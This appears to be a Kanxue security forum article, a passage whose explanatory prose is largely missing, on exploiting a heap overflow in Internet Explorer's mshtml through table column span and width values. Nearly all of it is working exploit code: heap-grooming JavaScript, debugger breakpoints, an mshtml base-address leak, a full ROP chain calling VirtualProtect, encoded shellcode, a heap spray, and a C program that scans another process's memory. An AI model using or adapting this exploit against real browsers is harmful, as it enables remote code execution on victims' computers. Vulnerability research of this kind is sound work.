本文为看雪论坛优秀文章
看雪论坛作者ID:AshCrimson
一
漏洞信息
二
漏洞分析
gflags.exe -i iexplore.exe +hpa
.childdbg 1
三
利用思路
四
漏洞利用
<div id="test"></div>
<script language='javascript'>
d = document.getElementById('test');
var dap = "EEEE";
while (dap.length < 0x200) dap += dap;
var padding = "AAAA";
while (padding.length < 0x200) padding += padding;
var filler = "BBBB";
while (filler.length < 0x200) filler += filler;
var arr = new Array();
var rra = new Array();
//EEEE AAAA BBBB OOOO
for (var i = 0; i < 1000; i += 2) {
rra[i] = dap.substring(0, (0x100 - 6) / 2);
arr[i] = padding.substring(0, (0x100 - 6) / 2);
arr[i + 1] = filler.substring(0, (0x100 - 6) / 2);
var obj = document.createElement("button");
d.appendChild(obj);
}
//theap A B button
for (var i = 200; i < 1000; i += 2) {
rra[i] = null;
CollectGarbage();
}
</script>
<table style="table-layout:fixed">
<col id="0" width="41" span="9">  </col>
</table>
<table style="table-layout:fixed">
<col id="1" width="41" span="9">  </col>
</table>
...
<table style="table-layout:fixed">
<col id="132" width="41" span="9">  </col>
</table>
sxe ld:jscript
bu ntdll!RtlFreeHeap ".echo free heap;db poi(esp+c) l10;g"
bu mshtml!CTableLayout::CalculateMinMax+0x18C ".echo vulheap;dd poi(ebx+9c) l4;g"
.logopen c:\log.txt
function one_overflow() {
//首次溢出,通过CButtonLayout暴露mshtml基址
var col = document.getElementById(2);
col.span = 19;
}
function get_mshtml_base() {
var leak_addr = -1;
for (var i = 0; i < 10000; i++) {
if (arr[i].length > (0x100 - 6) / 2) {
leak_index = i;
var leak = arr[i].substring((0x100 - 6) / 2 + (2 + 8) / 2, (0x100 - 6) / 2 + (2 + 8) + 4 / 2);
leak_addr = parseInt(leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16);
//alert("CButtonLayout VirtualTable Point:0x" + leak_addr.toString(16));
mshtml_base = leak_addr - Number(0x001584f8);
//alert("mshtml base:0x" + mshtml_base.toString(16));
heapspray(mshtml_base);
break;
}
}
}
function second_overflow() {
//二次溢出,覆盖CBttonLayout虚表指针
var col = document.getElementById(2);
col.width = "1003572";
col.span = "29";
}
function heapspray(base) {
//ret
var rop = (base + 0x3142).toString(16);
var rop_ret1 = rop.substring(4, 8);
var rop_ret2 = rop.substring(0, 4);
//pop ebp;ret
var rop = (base + 0x4b015a).toString(16);
var rop_popebp_ret1 = rop.substring(4, 8);
var rop_popebp_ret2 = rop.substring(0, 4);
//xchg eax,esp;ret
var rop = (base + 0x701be).toString(16);
var rop_xchg1 = rop.substring(4, 8);
var rop_xchg2 = rop.substring(0, 4);
//pop ebx;ret
var rop = (base + 0x3d0537).toString(16);
var rop_popebx_ret1 = rop.substring(4, 8);
var rop_popebx_ret2 = rop.substring(0, 4);
//pop edx;ret
var rop = (base + 0x2fb796).toString(16);
var rop_popedx_ret1 = rop.substring(4, 8);
var rop_popedx_ret2 = rop.substring(0, 4);
//pop ecx;ret
var rop = (base + 0x17011a).toString(16);
var rop_popecx_ret1 = rop.substring(4, 8);
var rop_popecx_ret2 = rop.substring(0, 4);
//writable
var rop = (base + 0x100).toString(16);
var writable1 = rop.substring(4, 8);
var writable2 = rop.substring(0, 4);
//pop edi;ret
var rop = (base + 0x390a67).toString(16);
var rop_popedi_ret1 = rop.substring(4, 8);
var rop_popedi_ret2 = rop.substring(0, 4);
//pop esi;ret
var rop = (base + 0xf01bd).toString(16);
var rop_popesi_ret1 = rop.substring(4, 8);
var rop_popesi_ret2 = rop.substring(0, 4);
//jmp eax
var rop = (base + 0x1f2bd9).toString(16);
var rop_jmpeax1 = rop.substring(4, 8);
var rop_jmpeax2 = rop.substring(0, 4);
//pop eax;ret
var rop = (base + 0x351263).toString(16);
var rop_popeax_ret1 = rop.substring(4, 8);
var rop_popeax_ret2 = rop.substring(0, 4);
//VirtualProtect
var rop = (base + 0x1348).toString(16);
var rop_vp1 = rop.substring(4, 8);
var rop_vp2 = rop.substring(0, 4);
//mov eax;dword ptr ds:[eax];ret
var rop = (base + 0x214bbd).toString(16);
var rop_moveax_ret1 = rop.substring(4, 8);
var rop_moveax_ret2 = rop.substring(0, 4);
//pushad;ret
var rop = (base + 0x51a2c8).toString(16);
var rop_pushad_ret1 = rop.substring(4, 8);
var rop_pushad_ret2 = rop.substring(0, 4);
//push esp;ret
var rop = (base + 0x49cb1d).toString(16);
var rop_pushesp_ret1 = rop.substring(4, 8);
var rop_pushesp_ret2 = rop.substring(0, 4);
var shellcode = unescape("%u" + rop_ret1 + "%u" + rop_ret2); //ret
shellcode += unescape("%u" + rop_popebp_ret1 + "%u" + rop_popebp_ret2); //pop ebp;ret
for (var i = 0; i < 0x32; i++) {
shellcode += unescape("%u" + rop_ret1 + "%u" + rop_ret2); //ret
}
shellcode += unescape("%u" + rop_popebp_ret1 + "%u" + rop_popebp_ret2); //pop ebp;ret ebp=shellcode_addr
shellcode += unescape("%u2a80%u077a");
shellcode += unescape("%u" + rop_popedx_ret1 + "%u" + rop_popedx_ret2);
shellcode += unescape("%u" + rop_xchg1 + "%u" + rop_xchg2); //xchg eax,esp;ret; start change stack
shellcode += unescape("%u" + rop_popebx_ret1 + "%u" + rop_popebx_ret2); //pop ebx;ret ebx=1024
shellcode += unescape("%u1024%u0000"); //1024
shellcode += unescape("%u" + rop_popedx_ret1 + "%u" + rop_popedx_ret2); //pop edx;ret edx=40
shellcode += unescape("%u0040%u0000"); //40
shellcode += unescape("%u" + rop_popecx_ret1 + "%u" + rop_popecx_ret2); //pop ecx;ret
shellcode += unescape("%u2a70%u077a");
shellcode += unescape("%u" + rop_popedi_ret1 + "%u" + rop_popedi_ret2); //pop edi;ret
shellcode += unescape("%u" + rop_ret1 + "%u" + rop_ret2); //ret
shellcode += unescape("%u" + rop_popesi_ret1 + "%u" + rop_popesi_ret2); //pop esi;ret
shellcode += unescape("%u" + rop_jmpeax1 + "%u" + rop_jmpeax2); //jmp eax
shellcode += unescape("%u" + rop_popeax_ret1 + "%u" + rop_popeax_ret2); //pop eax;ret
shellcode += unescape("%u" + rop_vp1 + "%u" + rop_vp2); //VirtualProtect_addr eax=VirtualProtect
shellcode += unescape("%u" + rop_moveax_ret1 + "%u" + rop_moveax_ret2); //mov eax;[eax];ret
shellcode += unescape("%u" + rop_pushad_ret1 + "%u" + rop_pushad_ret2); //pushad;ret
shellcode += unescape("%u" + rop_pushesp_ret1 + "%u" + rop_pushesp_ret2); //push esp;ret;
shellcode += unescape("%u9090%u9090");
shellcode += unescape("%u9090%u9090");
shellcode += unescape(
"%u68FC%u0A6A%u1E38%u6368%uD189%u684F%u7432%u0C91%uF48B%u7E8D%u33F4%uB7DB%u2B04%u66E3%u33BB" +
"%u5332%u7568%u6573%u5472%uD233%u8B64%u305A%u4B8B%u8B0C%u1C49%u098B%u098B%u698B%uAD08%u6A3D" +
"%u380A%u751E%u9505%u57FF%u95F8%u8B60%u3C45%u4C8B%u7805%uCD03%u598B%u0320%u33DD%u47FF%u348B" +
"%u03BB%u99F5%uBE0F%u3A06%u74C4%uC108%u07CA%uD003%uEB46%u3BF1%u2454%u751C%u8BE4%u2459%uDD03" +
"%u8B66%u7B3C%u598B%u031C%u03DD%uBB2C%u5F95%u57AB%u3D61%u0A6A%u1E38%uA975%uDB33%u6853%u6465" +
"%u0000%u6868%u6361%u8B6B%u53C4%u5050%uFF53%uFC57%uFF53%uF857%9090%9090%9090");
while (shellcode.length < 100000) {
shellcode += shellcode;
}
//64k
var onemeg = shellcode.substr(0, 64 * 1024 / 2);
for (i = 0; i < 14; i++) {
onemeg += shellcode.substr(0, 64 * 1024 / 2);
}
var spray = new Array();
for (i = 0; i < 1000; i++) {
spray[i] = onemeg.substr(0, onemeg.length);
}
}
#include <iostream>
#include <windows.h>
int main()
{
HANDLE processHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, 3920);
int addr = 1000000;
DWORD temp = 0;
while (1) {
DWORD val = 0;
int ret = ReadProcessMemory(processHandle, (LPVOID)(addr * 125), &val, 4, &temp);
if (ret) {
printf("addr:%08x:%08x\n", addr * 125);
}
if (ret && val == 0x6ABD3142) {
ret = ReadProcessMemory(processHandle, (LPVOID)(addr * 125 + 0xdc), &val, 4, &temp);
if (val == 0x6AC401BE) {
printf("result=%d\n", addr);
break;
}
}
printf("%x\n", addr);
addr++;
}
system("pause");
}
五
结果
看雪ID:AshCrimson
https://bbs.pediy.com/user-home-893960.htm
# 往期推荐
1.PWN学习总结
球分享
球点赞
球在看
点击“阅读原文”,了解更多!